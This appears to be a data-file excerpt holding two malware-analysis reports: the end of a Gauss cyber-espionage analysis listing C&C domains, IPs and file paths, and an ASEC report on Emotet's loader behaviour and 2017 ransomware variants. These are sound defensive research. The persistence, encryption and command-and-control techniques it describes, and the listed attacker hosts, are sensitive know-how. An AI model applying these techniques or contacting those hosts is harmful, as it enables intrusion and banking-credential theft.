Narrow (TrueType)=pldnrfn.ttf The purpose of the addition of this font is not yet known. It appears to contain valid Western, Baltic and Turkish symbols. 36 Font information from Font Viewer File Version: 2001.12.4414.320 Product Version: 5.1.2600.5788 File OS: WINDOWS32 File Type: DLL File SubType: UNKNOWN File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: WIN32 Digital Library FileVersion: 2001.12.4414.320 LegalCopyright: Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks: Microsoft(R) is a registered trademark of Microsoft Corporation. Windows(TM) is a trademark of Microsoft Corporation ProductName: Microsoft\xc2\xae Windows\xc2\xae Operating System ProductVersion: 05.01.2600.5788 Version info \xe2\x80\x9cwindig.ocx\xe2\x80\x9d 37 Gauss C&C Information To upload data stolen from infected machines, Gauss uses a number of command-and-control servers predefined in its flexible configuration. Figure 1 - Gauss encrypted C&C information data Here\xe2\x80\x99s a look at the decrypted configuration data: Figure 2 - Gauss decrypted C&C configuration data 38 In the example above, we can see the C&C domains/hosts together with the name of the script (userhome.php) on the server which is used for communication. Going through the multitude of Gauss samples, we identified several domains used as C&C servers: \xe2\x96\xba *.gowin7.com \xe2\x96\xba *.secuurity.net \xe2\x96\xba *.datajunction.org \xe2\x96\xba *.bestcomputeradvisor.com \xe2\x96\xba *.dotnetadvisor.info \xe2\x96\xba *.guest-access.net Wmiqry.ocx 01.06.2011 dotnetadvisor.info bestcomputeradvisor.info datajunction.org guest-access.net 16.07.2011 *.bestcomputeradvisor.info *.guest-access.net 18.07.2011 *.bestcomputeradvisor.info *.guest-access.net 28.09.2011 *.gowin7.com *.secuurity.net 20.10.2011 *.datajunction.org *.dotnetadvisor.info 20.10.2011 *.gowin7.com *.secuurity.net Depending on the variant, * can be \xe2\x80\x98a\xe2\x80\x99 or \xe2\x80\x98b\xe2\x80\x99 or \xe2\x80\x98c\xe2\x80\x99 \xe2\x80\x93 and so on.For instance, a fully qualified hostname as in the example above is \xe2\x80\x9cb.gowin7.com\xe2\x80\x9d. Most samples we have use \xe2\x80\x9c*.gowin7.com\xe2\x80\x9d and \xe2\x80\x9c*.secuurity.net\xe2\x80\x9d. The domains \xe2\x80\x9cgowin7.com\xe2\x80\x9d and \xe2\x80\x9csecuurity.net \xe2\x80\x9c have been registered by an \xe2\x80\x9cAdolph Dybevek, which is most likely a fake identity: owner-name: Adolph Dybevek owner-address: Prinsen gate 6 owner-city: Oslo admin-address: Prinsen gate 6 ICANN Registrar: UNITED-DOMAINS AG Created: 2012-03-15 Expires: 2013-03-15 Updated: 2012-03-15 39 As in the case of Flame these domain registration addresses point to existing businesses. For example, at Prinsens Gate 6 in Olso, we find a hotel in Norway: Similarly, many of Flame C&D domain fake registrations used addresses of hotels. During the period of monitoring, we observed these two main domains pointing to two different servers in India and Portugal. Based on passive DNS research, we identified three other servers, located in the US which appear to have been used as C&C. The hosts \xe2\x80\x9cgowin7.com\xe2\x80\x9d and \xe2\x80\x9csecuurity.net\xe2\x80\x9d pointed to the following IP addresses: Date Domain IP 2012-06-28 23:05:35 b.gowin7.com 109.71.45.115 2012-06-29 07:05:28 (changed) b.gowin7.com 182.18.166.116 2012-06-28 23:05:38 b.secuurity.net 109.71.45.115 2012-06-29 07:05:29 (changed) b.secuurity.net 182.18.166.116 On 29th of June, 2012, the two C&C domains \xe2\x80\x9cgowin7.com\xe2\x80\x9d and \xe2\x80\x9csecuurity.net\xe2\x80\x9d were changed from IP 109.71.45.115 to a new IP 182.18.166.116. 40 Both servers were shut down around July 13th, 2012. Prior to shut down, we managed to collect important information. Both appeared to be running Debian Linux, which is consistent with the Flame C&C servers. They were listening on ports 22, 80 and 443. The SSL certificates were self-signed, once again, the same as in the case of Flame. Here\xe2\x80\x99s the certificate for the server in Portugal: If we are to believe the information in the certificate, it was generated on 17 Feb 2012. The server at 182.18.166.116 (India) appears to currently host two other related domains: \xe2\x96\xba bestcomputeradvisor.com \xe2\x96\xba dotnetadvisor.info Both have been registered by somebody named Gilles Renaud, probably another fake identity: Registrant: Gilles Renaud Neugasse 10 Zurich, Zurich 8005 CH 41 They were previously hosted in the US, at the IPs: 173.204.235.204 and 173.204.235.196. We currently have seen samples which used {e,g,h}.bestcomputeradvisor.com and \xe2\x80\x9cc.dotnetadvisor.info\xe2\x80\x9d for command-and- control. It\xe2\x80\x99s quite possible that other samples exist pointing to different hosts. The additional domains \xe2\x80\x9ddatajunction.org\xe2\x80\x9d and \xe2\x80\x9cguest-access.net\xe2\x80\x9d can be found in some samples and it is also used for C&C communications. We currently have samples which use \xe2\x80\x9cc.datajunction.org\xe2\x80\x9d and \xe2\x80\x9cd.datajunction.org\xe2\x80\x9d but there are probably others using \xe2\x80\x9ca.*\xe2\x80\x9d and \xe2\x80\x9cb.*\xe2\x80\x9d. Both have been registered by somebody named \xe2\x80\x9cPeter Kulmann,\xe2\x80\x9d probably another fake identity: Registrant Name:Peter Kulmann Registrant Street1:Antala Staska 1301/19 Registrant Street2: Registrant Street3: Registrant City:Prague Registrant State/Province: Registrant Postal Code:14000 Registrant Country:CZ The address \xe2\x80\x9cAntala Staska 1301/19\xe2\x80\x9d appears once again to be fake \xe2\x80\x93 pointing to a supermarket/pharmacy in Prague: Currently (as of August 2012), all the \xe2\x80\x9c*.datajunction.org\xe2\x80\x9d hosts point to the C&C server in India. Previously, they pointed to the server in Portugal. Just like the others, they were previously hosted in US. In addition to these, we identified another domain named \xe2\x80\x9cdataspotlight.net\xe2\x80\x9d which was hosted on the same servers. The registrant is unknown and we couldn\xe2\x80\x99t find any samples using it, however, it is probably related to the others. 42 Gauss C2 Domains Overview: In total, we have identified 7 domains used or related to the Gauss malware: Domain Registered by Currently hosted Previously hosted Older hosted: gowin7.com Adolph Dybevek India Portugal US secuurity.net Adolph Dybevek India Portugal US datajunction.org Peter Kulmann India Portugal US bestcomputeradvisor.com Gilles Renaud India Portugal US dotnetadvisor.info Gilles Renaud India Portugal US dataspotlight.net UNKNOWN India Portugal UNKNOWN guest-access.net Peter Kulmann No No No Domain registration history: Domain Registration date bestcomputeradvisor.com, dotnetadvisor.info 22 July 2011 datajunction.org. guest-access.net 26 July 2011 gowin7.com, secuurity.net 15 March 2012 dataspotlight.net 18 April 2012 As can be seen from the table above, four domains were created in 2011 and were used in older samples. The newer samples use \xe2\x80\x9cgowin7.com\xe2\x80\x9d and \xe2\x80\x9csecuurity.net\xe2\x80\x9d, which were registered on March 15th, 2012. Known Gauss C2 server IPs: Server Location 182.18.166.116 India, Hyderabad 109.71.45.115 Portugal, Constancia 173.204.235.204 United States, San Francisco 173.204.235.196 United States, San Francisco 173.204.235.201 United States, San Francisco 43 Here\xe2\x80\x99s a comparison of the Flame and Gauss C2 infrastructure: Flame Gauss Hosting VPS running Debian Linux VPS running Debian Linux Services available SSH, HTTP, HTTPS SSH, HTTP, HTTPS SSL certificate \xe2\x80\x9clocalhost.localdomain\xe2\x80\x9d \xe2\x80\x93 self signed \xe2\x80\x9clocalhost.localdomain\xe2\x80\x9d \xe2\x80\x93 self signed Registrant info Fake names Fake names Address of registrants Hotels, shops Hotels, shops C2 traffic protocol HTTPS HTTPS C2 traffic encryption None XOR 0xACDC C2 script names cgi-bin/counter.cgi, common/index.php userhome.php Number of C2 domains ~100 6 Number of fake identities used to register domains ~20 3 DNS Balancing For some of the C2\xe2\x80\x99s, the controllers used a technique known as DNS balancing or \xe2\x80\x9cRound robin DNS\xe2\x80\x9d (http://en.wikipedia. org/wiki/Round-robin_DNS) \xe2\x80\x93 probably to even the load. This is a common technique in the case of massive traffic to a website, suggesting that at their peak, the Gauss C2\xe2\x80\x99s were handling quite a lot of data. Here\xe2\x80\x99s one such example of DNS balancing: ;;QUESTION SECTION: ;DATAJUNCTION.ORG. IN A ;;ANSWER SECTION: DATAJUNCTION.ORG. 900 IN A 182.18.166.116 DATAJUNCTION.ORG. 3600 IN A 173.204.235.204 DATAJUNCTION.ORG. 900 IN A 109.71.45.115 As it can be seen, the domain datajunction.org resolves to three different IPs: 182.18.166.116, 173.204.235.204 and 109.71.45.115. 44 http://en.wikipedia.org/wiki/Round-robin_DNS http://en.wikipedia.org/wiki/Round-robin_DNS Timeline We tried to put together all the date-of-creation information for the different Gauss modules, as well as those for Flame and Duqu. Since no Gauss modules created before 2011 have been found, the table below does not include earlier data for Flame and Duqu modules. Module name (2011) Date of creation Malware advnetcfg.2 11.01.2011 Flame nteps32.2 11.01.2011 Flame authpack.1 23.01.2011 Flame mssecmgr.7 17.02.2011 Flame mssecmgr.9 21.03.2011 Flame msglu32.1 29.03.2011 Flame wmiqry32.1 01.06.2011 Gauss dskapi.32 res.1 30.06.2011 Gauss dskapi.64 res 30.06.2011 Gauss windig.1 15.07.2011 Gauss wmiqry32.2 16.07.2011 Gauss wmiqry32.3 18.07.2011 Gauss winshell.1 08.08.2011 Gauss mssecmgr.8 31.08.2011 Flame mcdmn.1 16.09.2011 Gauss smdk.1 27.09.2011 Gauss dskapi.1 28.09.2011 Gauss wmiqry32.4 28.09.2011 Gauss winshell.2 03.10.2011 Gauss msglu32.2 10.10.2011 Flame dskapi.2 13.10.2011 Gauss smdk.2 17.10.2011 Gauss igdkmd16b.sys 17.10.2011 Duqu wmiqry32.5 20.10.2011 Gauss lanhlp32.1 26.10.2011 Gauss dskapi.3 01.11.2011 Gauss soapr32.1 27.11.2011 Flame dskapi.4 29.11.2011 Gauss dskapi.32 res.2 29.11.2011 Gauss winshell.3 14.12.2011 Gauss Module name (2012) Date of creation Malware winshell.4 05.01.2012 Gauss mcd9x86.sys 23.02.2012 Duqu devwiz.1 19.03.2012 Gauss browse32.ocx 09.05.2012 Flame 45 Main modules Path wmiqry32.dll %system%\\wbem wmihlp32.dll %system%\\wbem dskapi.ocx %system% winshell.ocx %system% devwiz.ocx %system% lanhlp32.ocx %system% mcdmn.ocx %system% smdk.ocx %system% windig.ocx %system% system32.bin root folder USB drive system32.dat root folder USB drive .CatRoot.tmp root folder USB drive Data files and folders Path ~shw.tmp %temp% ~stm.tmp %temp% ws1bin.dat %windir%\\Temp ws1bin.dat %temp% ~gdl.tmp %temp% ~mdk.tmp %temp% .thumbs.db root folder USB drive wabdat.dat %temp% desktop.ini inside folders on USB drive target.lnk inside folders on USB drive .Backup0[D-M] directory on USB drive .Backup00[D-M] directory on USB drive md.bak %temp% s61cs3.dat %systemroot%\\Temp\\ s61cs3.dat %temp% ~ZM6AD3.tmp %windir%\\temp browser.js %AppData%\\Roaming\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4- 7b2443f89f4d-8e156305a8bc} %AppData%\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24-43f8- 9f4d-8e156305a8bc} Files list We have put together the names of all modules, temporary files, log files and data files used by Gauss in one way or another and that are known to us. 46 browser.xul %AppData%\\Roaming\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24- 43f8-9f4d-8e156305a8bc} %AppData%\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24-43f8- 9f4d-8e156305a8bc} fileio.js %AppData%\\Roaming\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24- 43f8-9f4d-8e156305a8bc} %AppData%\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24-43f8- 9f4d-8e156305a8bc} chrome.manifest %AppData%\\Roaming\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24- 43f8-9f4d-8e156305a8bc} %AppData%\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24-43f8- 9f4d-8e156305a8bc} lppd.dat %AppData%\\Roaming\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24- 43f8-9f4d-8e156305a8bc} %AppData%\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24-43f8- 9f4d-8e156305a8bc} install.rdf %AppData%\\Roaming\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24- 43f8-9f4d-8e156305a8bc} %AppData%\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24-43f8- 9f4d-8e156305a8bc} rssf.dat %AppData%\\Roaming\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24- 43f8-9f4d-8e156305a8bc} %AppData%\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24-43f8- 9f4d-8e156305a8bc} lfm.dat %AppData%\\Roaming\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24- 43f8-9f4d-8e156305a8bc} %AppData%\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24-43f8- 9f4d-8e156305a8bc} mppd.dat %AppData%\\Roaming\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24- 43f8-9f4d-8e156305a8bc} %AppData%\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24-43f8- 9f4d-8e156305a8bc} pddp.dat %AppData%\\Roaming\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24- 43f8-9f4d-8e156305a8bc} %AppData%\\Mozilla\\Firefox\\Profiles\\*\\{a288cad4-7b24-43f8- 9f4d-8e156305a8bc} pldnrfn.ttf %SystemRoot%\\fonts\\ 47 Conclusion Gauss is the most recent development from the pool of cyber-espionage projects that includes Stuxnet, Flame and Duqu. It was most likely created in mid-2011 and deployed for the first time in August-September 2011. Its geographical distribution is unique; the majority of infections were found in Lebanon, Palestine and Israel. One of the modules from Jan 2012 contains the path \xe2\x80\x9cc:\\documents and settings\\flamer\\desktop\\gauss_white_1\xe2\x80\x9d. The \xe2\x80\x9cflamer\xe2\x80\x9d in the path above is the Windows username that compiled the project. Given the focus on Lebanon, the \xe2\x80\x9cwhite\xe2\x80\x9d version identifier can probably be explained as following: \xe2\x80\x9cthe name Lebanon comes from the Semitic root LBN, meaning \xe2\x80\x9cwhite\xe2\x80\x9d, likely a reference to the snow-capped Mount Lebanon.\xe2\x80\x9d (Wikipedia) Code references and encryption subroutines, together with the Command and Control infrastructure make us believe Gauss was created by the same \xe2\x80\x9cfactory\xe2\x80\x9d which produced Flame. This indicates it is most likely a nation-state sponsored operation. Between Gauss\xe2\x80\x99 functions, the \xe2\x80\x9cWinshell.ocx\xe2\x80\x9d module which gives the name to the malware as \xe2\x80\x9cGauss\xe2\x80\x9d, steals credentials required to access online banking accounts for several Lebanese banks \xe2\x80\x93 including the Bank of Beirut, Byblos Bank and Fransabank. This is the first publicly known nation-state sponsored banking Trojan. Another feature which makes Gauss unique is its encrypted payload, which we haven\xe2\x80\x99t been able to unlock. The payload is run by infected USB sticks and is designed to surgically target a certain system (or systems) which have a specific program installed. One can only speculate on the purpose of this mysterious payload. The discovery of Gauss indicates that there are probably many other related cyber-espionage malware in operation. The current tensions in the Middle East are just signs of the intensity of these ongoing cyber-war and cyber-espionage campaigns. 48 _GoBack _GoBack Now _GoBack _GoBack _GoBack _GoBack _GoBack _GoBack _GoBack _GoBack Introduction Executive Summary Infection stats Operating System Statistics Architecture Comparison with Flame Wmiqry32/Wmihlp32.dll aka ShellHW Installation Operation Dskapi.ocx USB Payload thumbs.db file Smdk.ocx McDmn.ocx Lanhlp32.ocx Devwiz.ocx Winshell.ocx Windig.ocx Gauss C&C Information Gauss C2 Domains Overview: DNS Balancing Timeline Files list Conclusion","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"2ASEC REPORT Vol.88 | Security Trend Table of Contents 04\xe2\x80\xa2Emotet Returns to Prey on Banking Information \xe2\x80\xa2Q3 2017 Ransomware Trends 13 ASEC REPORT VOL.88 Q3 2017 ASEC (AhnLab Security Emergency Response Center) is a global security response group consisting of malware analysts and security experts. This report is published by ASEC and focuses on the most significant security threats and latest security technologies to guard against such threats. For further details, please visit AhnLab, Inc.\xe2\x80\x99s homepage (www.ahnlab.com). SECURITY TREND OF Q3 2017 SECURITY ISSUE THREAT REVIEW \xe2\x80\xa2Emotet Returns to Prey on Banking Information SECURITY ISSUE ASEC REPORT Vol.88 | Security Trend On August 2017, AhnLab confirmed, via AhnLab Smart Defense (ASD), its cloud-based malware analysis system, that the malware Emotet is once again being distributed through spam botnet. First spotted in 2014, Emotet is a trojan that hijacks financial information. The newly-resurfaced Emotet features modular functions for extracting the victim\xe2\x80\x99s financial transaction information, downloading the relevant module from the C&C server to perform its activities. This report examines the distribution vector and operational features of Emotet, including a detailed analysis of the malware\xe2\x80\x99s primary attack patterns. Distribution and operation of Emotet Analysis by AhnLab revealed that Emotet strain propagated last quarter was carried via spam botnet as email attachments. The overall attack pattern of Emotet is as shown in Figure 1-1. 4 Emotet Returns to Prey on Banking Information Security Issue ASEC REPORT Vol.88 | Security Trend \xe2\x91 User downloads and runs Emotet via spammed email attachment \xe2\x91\xa1 Emotet is added to the autorun registry \xe2\x91\xa2 System OS information, list of running processes, the malware\xe2\x80\x99s PE CRC, computer user name and volume serial number are encrypted and sent to the C&C \xe2\x91\xa3 Additional modules are downloaded from the C&C server to perform additional malicious activities \xe2\x91\xa4 Downloaded modules are run 5 Figure 1-1 | Attack pattern of Emotet The Word document files included in the spammed email spread via botnet contains a malicious macro as shown in Figure 1-2. Figure 1-2 | Malicious macro contained in the Word file attachment of the spammed email The document contains instructions such as \xe2\x80\x9cMacros have been disabled \xe2\x80\x93 Enable Content\xe2\x80\x9d to trick the user into running the macro. Once the user enables the macro function, an obfuscated powershell command as shown in Figure 1-3 is executed, which downloads a malicious file, Emotet loader, from an external URL and runs it. ASEC REPORT Vol.88 | Security Trend 6 \xe2\x91 Registered as service to enable repeat execution of the Emotet loader \xe2\x91\xa1 Computer name, OS information, list of running processes acquired \xe2\x91\xa2 Hijackes information using Crypto API \xe2\x91\xa3 Encrypts data communicated with C&C server \xe2\x91\xa4 Data received from C&C server decrypted, and modules executed Table 1-1 | Malicious activities carried out by the Emotet loader Figure 1-3 | Obfuscated powershell command line Key activities Once the Emotet loader is executed, the malware first registers itself as a service in Windows. User information is extracted next, and the malware communicates with the C&C server to download the modules required for additional activities. Table 1-1 lists the key activities performed by the Emotet loader. 1. Service registry The Emotet loader calls the OpenSCManagerW API to check administrative privileges for installing and enumerating services. If the loader successfully obtains admin privilege, a routine for registering the Emotet loader as a service is executed, and a copy is dropped into the path %Windir%\\System32. The 0x40884A code as shown in Figure 1-4 reveals that the value assigned to DS:[40B2A4] is determined by the result of the OpenSCManagerW API call. The value per byte in the DS:[40B2A4] of the 0x4088EC code in Figure 1-5 defines the destination of the self-duplicate of Emotet loader. Figure 1-4 | Calling OpenSCManagerW to check admin rights ASEC REPORT Vol.88 | Security Trend 7 agent,app,audio,bio,bits,cache,card,cart,cert,com,crypt,dcom,defrag,device,dhcp,dns,event,evt,flt,gdi,group,help,home,host,info,iso,laun ch,log,logon,lookup,man,math,mgmt,msi,ncb,net,nv,nvidia,proc,prop,prov,provider,reg,rpc,screen,search,sec,server,service,shed,shedul e,spec,srv,storage,svc,sys,system,task,time,video,view,win,window,wlan,wmi Table 1-3 | Key words used to create the service and file Privilege secured %Windir%\\System32 Privilege not secured %Appdata%\\Local\\Microsoft\\Windows The location where the Emotet loader places a copy of itself is determined by whether admi- nistrative privileges have been successfully obtained; the paths are as shown in Table 1-2. The loader choses two random keywords from the list of keywords for service and file creation as shown in Table 1-3 to determine the file name of its copy. Table 1-2 | Self-duplicated locations for the Emotet loader The selected keywords are combined into name of the self-duplicated file and service. Figure 1-6 | Configuring the service description After service creation, the Emotet loader calls the ChangeServiceConfig2W API as shown in Figure 1-6 to change the service description. The API copies a random description from an Figure 1-5 | Part of the code for determining the self-duplicating location ASEC REPORT Vol.88 | Security Trend 8 3. Data encryption via Crypt API Emotet loader encrypts the collected user information, using either a custom encryption or the Crypt API. In case of the latter, the file contains the RSA public key as shown in Figure 1-8, which is used to encrypt the random AES-128 symmetric key called by the CryptGenKey API. Figure 1-7 | Hijacked user and system information of processes, and running PE CRC information. Then the hijacked information is transmitted to the C&C server after the encryption. The extraction of user information such as OS data and PE CRC32 were observed as shown in Figure 1-7. Figure 1-8 | Codes for extracting the RSA public key and generating the AES-128 random key existing service to change the description of the new service. 2. User data collection After completing the service creation process, the Emotet loader begins gathering user information. The loader extracts system OS version, computer name, volume serial number, list ASEC REPORT Vol.88 | Security Trend 9 As shown in Figure 1-9, Emotet loader file contains the RSA public key stored by the attacker; the key decoded by the CryptDecodeObjectEx API is shown in Figure 1-10. Figure 1-10 | The key decoded by RSA public key Figure 1-9 | RSA public key contained in the file Finally, the Emotet loader uses the CryptEncrypt API for AES-128 CBC mode encryption and generates hash values for the data. The AES-128 key value used in the encryption is extracted by the CryptExportKey API and copied to memory. Figure 1-11 | Data encryption process ASEC REPORT Vol.88 | Security Trend 10 4. Encrypted data sent to the C&C server When the data encryption process is fully complete, the Emotet loader uses POST to transfer the encrypted data to the C&C server, as shown in Figure 1-12. A notable feature is that the C&C server re- turns a 404 error value to the client in response as shown in Figure 1-13, which in fact contains additional encrypted malicious modules. Figure 1-12 | POST data transfer Figure 1-13 | POST transfer and 404 error While the C&C server was blocked during the time of this investigation preventing a verification of the nature of this malicious module, the actual size of the response value sent to the client under normal circumstances is known to exceed 0x1c000. 5. Encrypted data received from C&C server decoded and executed While acquiring the malicious modules from the blocked C&C server proved to be unavailable, static analysis of the loader revealed the nature of the malicious activities performed by the additional modules. As shown in Figure 1-14, the Emotet loader performs data decoding after receiving a response value from the C&C server and executes a file presumed to be the newly- downloaded module. ASEC REPORT Vol.88 | Security Trend 11 Figure 1-14 | Code for creating and executing the additional module files - Network distribution module - Spammed email module - Browser-injected financial data hijack module Finally, with the execution of the additional modules on the infected system, a module is injected into the current Web browser and activated to hijack user information. The list of additional malicious modules downloaded from the C&C server are shown in Table 1-4. Table 1-4 | Additional modules downloaded from the C&C server The relevant alias of the Emotet malware identified by V3 products, AhnLab\xe2\x80\x99s anti-virus pro- gram, is as below: \xe2\x80\xa2 Trojan/Win32.Emotet (2017.09.20.00) THREAT REVIEW \xe2\x80\xa2Q3 2017 Ransomware Trends ASEC REPORT Vol.88 | Security Trend 13 Q3 2017 Ransomware Trends Threat Review The relentless assault by ransomware continued during the third quarter of this year. A large number of Locky variants appeared, in addition to an increasing variety of ransomware including RaaS (Ransomware as a Service). This report presents the ransomware trends of the third quarter 2017. 1. Locky Variants Another hail of Locky variants dropped during the third quarter 2017. Although these variants used different types of email attachment or encrypted file extensions, the ransom note generated after the encryption process revealed their family ties to Locky. Lukitus Sporting the extension .lukitus for its encrypted files, Lukitus is a strain of Locky that uses a Windows Script Host error message to lure users. Propagated via spammed emails, this ransomware uses enticing titles such as \xe2\x80\x9cVoice message attached\xe2\x80\x9d or \xe2\x80\x9cPictures\xe2\x80\x9d to invite clicking. The actual payload, however, is a compressed file written in JavaScript (JS) which downloads and runs the ransomware. ASEC REPORT Vol.88 | Security Trend 14 Figure 2-1 | Emails serving as the vector for Lukitus By clicking the attachment, the JS file exe- cutes Windows Script Host. However, an error message is displayed on the screen as shown in Figure 2-2 to confuse the user into thinking that an error has occurred. Figure 2-2 | Fake error message While the user may think an error has occurred due to the popup message in Figure 2-2, wscript.exe is executed in background as seen in Figure 2-3. When executed, Lukitus shows a ransom note as shown in Figure 2-4, identical to that of existing Locky ransomware. Ykcol Yet another Locky variant named Ykcol sur- Figure 2-3 | wscript.exe executed Figure 2-4 | The ransom note displayed by Lukitus, identical to Locky\xe2\x80\x99s ASEC REPORT Vol.88 | Security Trend 15 faced in mid-September. This ransomware assigns the extension .ykcol to encrypted files, which is Locky spelled backwards. The ransomware is distributed by spammed emails bearing the subject \xe2\x80\x9cStatus of Invoice\xe2\x80\x9d. Figure 2-5 | Spammed email containing a .7z file Similar to Locky attaching a .7zip compress- ed file in emails, this variant also uses an attachment compressed as .7zip or .7z to evade mailing filters. Uncompressing the file contained in the email will generate a VBS (Visual Basic Script) file. Running the VBS file will initiate downloading of the actual ransomware file from a URL hardcoded in the file. The downloaded ransomware encrypts the files in the user\xe2\x80\x99s PC and changes their extensions to .ykcol as shown in Figure 2-6. Like Lukitus, Ykcol also displays the identical ransom note as Locky. Figure 2-6 | Files given .ykcol extensions after encryption ASEC REPORT Vol.88 | Security Trend 16 2. CryptoMix variants CryptoMix is another ransomware with a stable of variants as extensive as Locky. CryptoMix was discovered in May of 2016 and became famous for its extensive list of variants. CryptoShield 1.0 and 2.0, Revenge, Mole and Wallet are all classified as CryptoMix variants, and additional strains were discovered in July. Azer Spotted on July 5, Azer was written in Visual C++. Once the user\xe2\x80\x99s system is infected, the ransomware duplicates itself to the Application Data folder and runs. Azer modifies the registry to include itself in the system\xe2\x80\x99s startup programs, to ensure that the encryption process is not interrupted if the PC is shut off or rebooted. Azer adds the extension .azer to encrypted files as shown in Figure 2-8. Figure 2-7 | Ykcol\xe2\x80\x99s ransom note, also identical to Locky\xe2\x80\x99s ASEC REPORT Vol.88 | Security Trend 17 Figure 2-8 | Files added with the .Azer extension The .txt ransom note created in the folder containing the encrypted files includes the infected PC\xe2\x80\x99s unique ID and two email addresses for sending the request to release the files as shown in Figure 2-9. One is the address used in the file name, while the other presumably is intended as a refer to the current U.S. president. Exte Discovered on July 14, Exte is another CryptoMix variant written in Visual C++, and is thus almost identical with the aforementioned Azer in duplicating itself and modifying the registry. Exte adds the extension .EXTE to encrypted files. Figure 2-9 | Azer\xe2\x80\x99s ransom note and instructions for recovery ASEC REPORT Vol.88 | Security Trend 18 Unlike Azer, the ransom note created by Exte in the encrypted file folder provides three email addresses from different domains including \xe2\x80\x9cexte\xe2\x80\x9d in the name. Furthermore, unlike Azer that beings the infected PC\xe2\x80\x99s unique ID with \xe2\x80\x9cYou ID\xe2\x80\x9d, Exte uses the heading \xe2\x80\x9cDecrypt-ID\xe2\x80\x9d. 3. Ransomware-as-a-Service (Raas) Ransomware-as-a-Service (RaaS) or ransom- ware developed and managed by third parties for a price, began to appear in 2016. The ransomware Shifr, discovered in the third quarter of this year, is one of these RaaS. The attackers require only a simple set of information such as bitcoin address, Figure 2-10 | Files with the new .Exte extensions Figure 2-11 | Exte\xe2\x80\x99s ransom note with instructions for file recovery Figure 2-12 | Potential attackers need only to fill out three fields to request a ransomware ASEC REPORT Vol.88 | Security Trend 19 the ransom amount and a captcha check; while other fabricators ask for a bitcoin address, email, and desired amount of ransom to be demanded and the file extension to be used. This enables anyone to handily order up Shifr ransomware. The provider for the Shifr service demands a 10% cut of the profits, a relative bargain for the attacker compared to the average rate of half the profits by other providers. These features may lead more attackers to turn to Shifr. Figure 2-13 | Shifr\xe2\x80\x99s RaaS Files encrypted by Shifr are given the extension .shifr, as shown in Figure 2-14. Figure 2-14 | Files encrypted by .shifr Shifr encrypts document files and pictures, commonly found in all systems, but leaves compressed files untouched. ASEC REPORT Vol.88 | Security Trend 20 Once the encryption of the files in a system infected by Shifr is completed, a ransom note file is created on the desktop, as shown in Figure 2-15. This is a unique feature of Shifr, as most ransomware create a ransom note in each folder containing encrypted files. Figure 2-15 | Ransom note dropped on the desktop The ransom note created by Shifr and placed on the desktop only contains a simple message \xe2\x80\x9cYour files have been encrypted\xe2\x80\x9d as shown in Figure 2-16, and a link for instructions on how to decrypt the files. The note is very simple, compared with those of other ransomware that include detailed instructions on ransom payment and file recovery. Figure 2-16 | Shifr\xe2\x80\x99s minimalist ransom note 4. Ransomware flavored with social engin- eering Shade, a ransomware that disguises itself as a scanned document sent by an all-in-one printer, surfaced in late July. This ransomware appears to be designed to target users in corporate environments that often encounter Figure 2-17 | Shade ransomware disguised as an emailed scanned document ASEC REPORT Vol.88 | Security Trend 21 scanned documents as part of their daily routines. The ransomware uses a password-protected document file in an advanced attack pattern that sets itself apart from the competition. As shown in Figure 2-17, Shade disguises itself as an email sent by a printer after scanning a file. The ransomware uses an official-looking \xe2\x80\x9cnoreply\xe2\x80\x9d email address to try to assuage the recipient\xe2\x80\x99s suspicions. Opening the Word document file contained in the email produces a popup message asking for the file\xe2\x80\x99s password. Most Word files distributed via spammed email messages do not include passwords. The example above, however, uses a password to lock the document and includes the password in the email message to try to avoid detection. Entering the password contained in the email body runs the macro embedded in the Word file. The macro connects to a particular URL to download and run the malware. Shade creates a batch file when run, which is used to delete the volume shadow copy containing the Windows system restore point, the remote desktop access history and Windows event records. The ransomware then proceeds with the encryption and alters the file extensions. Most files are targeted for attack, from DOC, PPT, XLS, TXT and other documents to EXE and ZIP files. Once the encryption is complete, the ransomware deletes itself to erase its footprints. Figure 2-18 | Downloaded malware ASEC REPORT Vol.88 | Security Trend 22 Figure 2-19 | Files before encryption (left), after encryption (right) It has become widely known that ransomware is distributed as attachments in spammed emails. However, using a password-locked file may buy time for the malicious code to exploit weaknesses. Shade appears to be the latest in such attempts to employ increasingly-advanced attack patterns. Figure 2-20 | Shade\xe2\x80\x99s ransom 